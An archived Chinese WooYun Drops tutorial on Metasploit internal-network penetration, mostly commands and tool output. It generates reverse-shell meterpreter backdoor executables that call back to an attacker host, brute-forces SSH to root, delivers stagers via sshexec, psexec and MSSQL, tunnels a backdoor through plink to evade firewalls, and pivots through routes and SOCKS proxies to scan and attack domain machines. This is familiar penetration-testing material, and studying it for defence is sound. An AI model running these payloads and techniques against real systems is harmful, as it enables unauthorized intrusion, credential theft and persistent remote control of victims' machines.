
        <html>
			<head>
			     <title>metasploit渗透测试笔记(内网渗透篇) - DM_</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/2746">http://drops.wooyun.org/tips/2746</a></h1>
				
      <p>
        <h2>0x01 reverse the shell</h2>

<hr />

<h3>File</h3>

<p>通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行。本地监听即可获得meterpreter shell。</p>

<pre><code>reverse_tcp/http/https =&gt; exe =&gt; victim =&gt; shell
</code></pre>

<p><strong>reverse_tcp</strong></p>

<p>windows:</p>

<pre><code>msfpayload windows/meterpreter/reverse_tcp LHOST=&lt;Your IP Address&gt; LPORT=&lt;Your Port to Connect On&gt; X &gt; shell.exe
</code></pre>

<!--more-->

<p><img src="http://static.wooyun.org/20140918/2014091810522941893.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org/20140918/2014091810522918462.png" alt="enter image description here" /></p>

<p>Linux(x86)</p>

<pre><code>msfpayload linux/x86/meterpreter/reverse_tcp LHOST=&lt;Your IP Address&gt; LPORT=&lt;Your Port to Connect On&gt; R | msfencode -t elf -o shell
</code></pre>

<p><img src="http://static.wooyun.org/20140918/2014091810523065699.png" alt="enter image description here" /></p>

<p><strong>reverse_http</strong></p>

<pre><code>msfpayload windows/meterpreter/reverse_http LHOST=&lt;Your IP Address&gt; LPORT=&lt;Your Port to Connect On&gt; X &gt; shell.exe
</code></pre>

<p><img src="http://static.wooyun.org/20140918/2014091810523111508.png" alt="enter image description here" /></p>

<p><strong>reverse_https</strong></p>

<pre><code>msfpayload windows/meterpreter/reverse_https LHOST=&lt;Your IP Address&gt; LPORT=&lt;Your Port to Connect On&gt; X &gt; shell.exe
</code></pre>

<p><img src="http://static.wooyun.org/20140918/2014091810523183021.png" alt="enter image description here" /></p>

<h3>Login privilege</h3>

<p>在获得一些登陆权限之后获得meterpreter shell的方法。</p>

<p><strong>SSH</strong></p>

<p><strong>ssh_login</strong></p>

<p>模块路径:<code>auxiliary/scanner/ssh/ssh_login</code></p>

<pre><code>msf exploit(sshexec) &gt; use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) &gt; show options 

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true             no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(ssh_login) &gt; set RHOSTS 192.168.1.104
RHOSTS =&gt; 192.168.1.104
msf auxiliary(ssh_login) &gt; set USERNAME root
USERNAME =&gt; root
msf auxiliary(ssh_login) &gt; set PASS
set PASSWORD   set PASS_FILE  
msf auxiliary(ssh_login) &gt; set PASSWORD toor
PASSWORD =&gt; toor
msf auxiliary(ssh_login) &gt; exploit 

[*] 192.168.1.104:22 SSH - Starting bruteforce
[*] 192.168.1.104:22 SSH - [1/3] - Trying: username: 'root' with password: ''
[-] 192.168.1.104:22 SSH - [1/3] - Failed: 'root':''
[*] 192.168.1.104:22 SSH - [2/3] - Trying: username: 'root' with password: 'root'
[-] 192.168.1.104:22 SSH - [2/3] - Failed: 'root':'root'
[*] 192.168.1.104:22 SSH - [3/3] - Trying: username: 'root' with password: 'toor'
[*] Command shell session 4 opened (192.168.1.105:54562 -&gt; 192.168.1.104:22) at 2014-08-07 22:55:54 +0800
[+] 192.168.1.104:22 SSH - [3/3] - Success: 'root':'toor' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=system_u:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) &gt; sessions 

Active sessions
===============

  Id  Type         Information                       Connection
  --  ----         -----------                       ----------
  4   shell linux  SSH root:toor (192.168.1.104:22)  192.168.1.105:54562 -&gt; 192.168.1.104:22 (192.168.1.104)

msf auxiliary(ssh_login) &gt;
</code></pre>

<p><img src="http://static.wooyun.org/20140918/2014091810523281500.png" alt="enter image description here" /></p>

<p>这里metasploit在探测ssh弱口令时，如果发现存在，则会返回一个linux shell，注意此时不是meterpreter shell。接下来可以使用</p>

<pre><code>sessions –u id
</code></pre>

<p>将linux shell升级为meterpreter shell，本地测试失败了。:(</p>

<p><strong>sshexec</strong></p>

<p>模块路径:<code>auxiliary/scanner/ssh/ssh_login</code></p>

<p>注意这个模块BT5下是没有的，kali中则存在。</p>

<pre><code>msf&gt; use exploit/multi/ssh/sshexec 
msf exploit(sshexec) &gt; set payload linux/x86/meterpreter/reverse_tcp 
payload =&gt; linux/x86/meterpreter/reverse_tcp
msf exploit(sshexec) &gt; set LHOST 192.168.1.105 
LHOST =&gt; 192.168.1.105
msf exploit(sshexec) &gt; set LPORT 8080
LPORT =&gt; 8080
msf exploit(sshexec) &gt; set RHOST 192.168.1.104
RHOST =&gt; 192.168.1.104
msf exploit(sshexec) &gt; set PASSWORD toor
PASSWORD =&gt; toor
msf exploit(sshexec) &gt; exploit 

[*] Started reverse handler on 192.168.1.105:8080 
[*] 192.168.1.104:22 - Sending Bourne stager...
[*] Command Stager progress -  40.39% done (288/713 bytes)
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1228800 bytes) to 192.168.1.104
[*] Command Stager progress - 100.00% done (713/713 bytes)
[*] Meterpreter session 3 opened (192.168.1.105:8080 -&gt; 192.168.1.104:40813) at 2014-08-07 22:53:12 +0800

meterpreter &gt; 
</code></pre>

<p><img src="http://static.wooyun.org/20140918/2014091810523351677.png" alt="enter image description here" /></p>

<p><strong>smb</strong></p>

<p>模块路径:<code>exploit/windows/smb/psexec</code></p>

<p>当使用smb_login扫出windows的弱口令时，可以尝试使用这种方法获取shell。 这是在内网中获得windows shell最基本的方法，在登陆域机器时需要设置Domain参数，否则登陆错误。</p>

<p>正如之前提到的show advanced，每个模块都有高级参数设定，这里的psexec就可以设置advanced中的EXE参数达到执行攻击者本地任意文件的目的(见参考<1>)。</p>

<p><img src="http://static.wooyun.org/20140918/2014091810523416298.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org/20140918/2014091810523420793.png" alt="enter image description here" /></p>

<p>如果目标机器有杀软或者其他简单的防护措施呢？ 那么可以尝试只执行命令</p>

<p><strong>psexec_command</strong></p>

<p>模块路径:<code>auxiliary/admin/smb/psexec_command</code></p>

<p><img src="http://static.wooyun.org/20140918/2014091810523520290.png" alt="enter image description here" /></p>

<p>这里需要注意的是psexec.exe(pstools中的工具)如果不能成功执行，那么psexec_command或许是可以执行的，并且大多数的情况下metasploit中的psexec都可以用，而psexec.exe则不能用 :(</p>

<p><strong>sqlserver</strong></p>

<pre><code>msf exploit(psexec) &gt; use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) &gt; show options 

Module options (exploit/windows/mssql/mssql_payload):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   METHOD               cmd              yes       Which payload delivery method to use (ps, cmd, or old)
   PASSWORD                              no        The password for the specified username
   RHOST                                 yes       The target address
   RPORT                1433             yes       The target port
   USERNAME             sa               no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false            yes       Use windows authentification (requires DOMAIN option set)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(mssql_payload) &gt;
</code></pre>

<p><img src="http://static.wooyun.org/20140918/2014091810523531110.png" alt="enter image description here" /></p>

<p>在获得sql server的登陆权限后同样可以快速的获得meterpreter shell。</p>

<p>注意这里METHOD选项，三种方法都要使用XP_cmdshell，而第一种ps是使用powershell，第二种需要使用wscript.exe，第三种则要用到debug.com。 本地没有环境，就不截图演示了</p>

<p><strong>others</strong></p>

<p>不管是什么场景，只要能转换成文件上传和执行权限就可以得到shell。在获得一种权限时当然可以先google一番是否有可适用的脚本，如果没有再分析是否能转换为文件操作和执行权限。如果可以那就可以得到shell了。 比如:</p>

<pre><code>mysql and sqlserver ..etc =&gt; file/webshell =&gt;shell
</code></pre>

<p>本地同样也测试了下tunna里自带的msf插件，测试了php版的。代码大致是这样的</p>

<p><img src="http://static.wooyun.org/20140918/2014091810523630284.png" alt="enter image description here" /></p>

<p>先本地生成一个meterpreter.exe(文件名不随机),</p>

<p>然后上传到<code>c:\windows\temp\meterpreter.exe</code>。</p>

<p>再通过php的exec函数执行。测试的时候发现代码生成meterpreter.exe时LHOST参数有误，改了rb代码之后终于在错误中弹回。</p>

<h2>0x02 pivot with metasploit</h2>

<hr />

<p>在获取到跳板机一定权限后，如何充分发挥跳板功能呢？这部分内容将简单的介绍几种常见的方法。</p>

<h3>添加路由表</h3>

<p><img src="http://static.wooyun.org/20140918/2014091810523658154.png" alt="enter image description here" /></p>

<p>这是在metasploit中最常用的方法，在添加路由表和session的关系后，便可以使用msf中的模块跨网段扫描或攻击。方法有很多，这里有个脚本autoroute可以快速添加路由表(如上图)，也可以将当前session置于后台(backgroud)，然后用route命令添加。</p>

<h3>Socks4a代理</h3>

<p>这里使用<code>auxiliary/server/socks4a</code>模块，需要注意Proxychains不支持ICMP，所以在代理使用NMAP的时候需要使用 –sT <code>-Pn</code>参数。另外Proxychains的连接提示很乱，用kali自带的Proxychains代理使用sqlmap的时候看起来真的特别乱。在这里可以使用proxychains-ng。 先在kali中卸载proxychains,然后再安装proxychains-ng。</p>

<p><img src="http://static.wooyun.org/20140918/2014091810523672263.png" alt="enter image description here" /></p>

<pre><code><a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="b3c1dcdcc7f3d8d2dfda">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~# git clone https://github.com/rofl0r/proxychains-ng.git
正克隆到 'proxychains-ng'...
remote: Counting objects: 842, done.
remote: Total 842 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (842/842), 465.92 KiB | 27 KiB/s, done.
Resolving deltas: 100% (554/554), done.
<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="4f3d20203b0f242e2326">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~# cd proxychains-ng/
<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="f88a97978cb893999491">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~/proxychains-ng#  ./configure --prefix=/usr --sysconfdir=/etc
Done, now run make &amp;&amp; make install
<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="75071a1a01351e14191c">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~/proxychains-ng# make &amp;&amp; make install
</code></pre>

<p>之后使用proxychains4 <code>-q</code> 选项运行，然后就不会有杂乱混杂的输出了。</p>

<h3>ssh</h3>

<p><strong>meta_ssh</strong></p>

<p>当有一个ssh登录权限后,可以使用这个插件在ssh会话基础上建立链接(见参考<2>)。</p>

<p><img src="http://static.wooyun.org/20140918/2014091810523735771.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org/20140918/2014091810523742470.png" alt="enter image description here" /></p>

<p>之后进入shell，查看网卡IP信息，然后退出再添加路由表。</p>

<p><img src="http://static.wooyun.org/20140918/2014091810523892505.png" alt="enter image description here" /></p>

<p>再尝试扫描5.5.5.0/24这个段，然后对这个段中的5.5.5.134进行弱口令扫描。</p>

<p><img src="http://static.wooyun.org/20140918/2014091810523813692.png" alt="enter image description here" /></p>

<p>发现可以获得结果。</p>

<p><strong>ssh/plink.exe</strong></p>

<p>还有一种利用SSH的方式就在windows下使用plink反弹,这样数据包经过SSH加密后，便可以躲过防火墙的检测。同理在linux也是一样的。 首先生成反弹到本地的reverse后门。</p>

<pre><code>msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5566 &gt;  ~/Desktop/backdoor_reverse_localhost.exe
</code></pre>

<p><img src="http://static.wooyun.org/20140918/2014091810523833871.png" alt="enter image description here" /></p>

<p>然后开启本地监听，再将plink和backdoor.exe通过webshell上传。然后执行</p>

<pre><code>echo y | plink.exe -L 5566:192.168.6.131:6666 192.168.6.131 -l root -pw toor
</code></pre>

<p>之后运行backdoor.exe，meterpreter就通过ssh tunnel建立起来了。</p>

<p><img src="http://static.wooyun.org/20140918/2014091810523951009.png" alt="enter image description here" /></p>

<h2>0x03 内网扫描</h2>

<hr />

<p>Metasploit对于常见服务(<code>smb/ssh/mysql/mssql/oracle/ftp/tfp/ …etc</code>)扫描可以做到版本信息(<code>banner</code>)、登录验证等。</p>

<p>简单过程可以参考之前的笔记《msf内网渗透小记》</p>

<p>具体扫描的脚本路径在<code>/usr/share/metasploit-framework/modules/auxiliary/scanner</code>下，可以根据需求自行发现。</p>

<p>常见的扫描端口: <code>7,21,22,23,25,43,50,53,67,68,79,80,109,110,111,123,135,137,138,139,143,161,264,265,389,443,445,500,631,901,995,1241,1352,1433,1434,1521,1720,1723,3306,3389,3780,4662,5800,5801,5802,5803,5900,5901,5902,5903,6000,6666,8000,8080,8443,10000,10043,27374,27665</code></p>

<p>当然也可以使用rc脚本(<code>basic_discovery.rc</code>)。</p>

<p>另外内网里还有一处信息的搜集就是<strong>snmp</strong>,如果有交换机存在snmp弱口令(团体字符串),那么便可以通过snmp收集路由表信息和VLAN划分信息等。</p>

<p>一般网络都会在vlan划分时备注信息，比如Vlan100是x部门,Vlan200是y部门等等。 不同品牌、型号的交换机在获取这一信息时所需要的OID可能不同(大部分不一样)，而snmp又是在udp的161端口，在交换机没有开放ssh、telnet、web时\或者开放以上服务，端口又未能做转发时，则可以在知道具体的OID值后通过改写snmp_enumusers.rb脚本实现。</p>

<p><img src="http://static.wooyun.org/20140918/2014091810523974282.png" alt="enter image description here" /></p>

<h2>0x04 域渗透相关</h2>

<hr />

<p>推荐几个AD下渗透的扫描脚本(见参考<3>,下同)</p>

<p><strong>psexec&#95;Loggedin&#95;users</strong></p>

<p><img src="http://static.wooyun.org/20140918/2014091810524036017.png" alt="enter image description here" /></p>

<p>这个脚本可以找到当前段每个IP所登录的用户。</p>

<p><strong>local&#95;admin&#95;search_enum</strong></p>

<p><img src="http://static.wooyun.org/20140918/2014091810524059043.png" alt="enter image description here" /></p>

<p>这个可以找到当前登录管理账户的IP和用户名。</p>

<p><strong>psexec_scanner</strong></p>

<p><img src="http://static.wooyun.org/20140918/2014091810524083800.png" alt="enter image description here" /></p>

<p>批量执行psexec获得shell,脚本里有个psexec的函数，绝对是改写的好范本。见参考<4></p>

<p>更多metasploit关于windows域渗透的脚本见参考<5></p>

<h2>0x05 后记</h2>

<hr />

<p>关于内网及域下渗透并不一定需要metasploit，更多的是与其他工具的配合。而且这一过程思路(见参考<6>)和对AD的理解明显比会用工具重要。metasploit只是提供了一个自动化发现利用的tunnel，如果简单理解ruby及metasploit代码框架，无论是学习还是渗透测试，都将会是一个有力的辅助。另外上文中的示例只是为读者所遇情况而构建脚本时的参考。</p>

<h2>0x06 参考</h2>

<hr />

<p><1> http://opexxx.tumblr.com/post/35763770674/btb-security-how-to-make-custom-exes-for-deployment</p>

<p><2> https://github.com/dirtyfilthy/metassh</p>

<p><3> http://www.pentestgeek.com/2012/11/03/find-local-admin-with-metasploit/</p>

<p><4> http://www.darkoperator.com/blog/2011/12/16/psexec-scanner-auxiliary-module.html</p>

<p><5> https://github.com/darkoperator/Meterpreter-Scripts/tree/master/post/windows/gather</p>

<p><6> http://www.freebuf.com/articles/web/5901.html (及8楼Gall的回复)</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                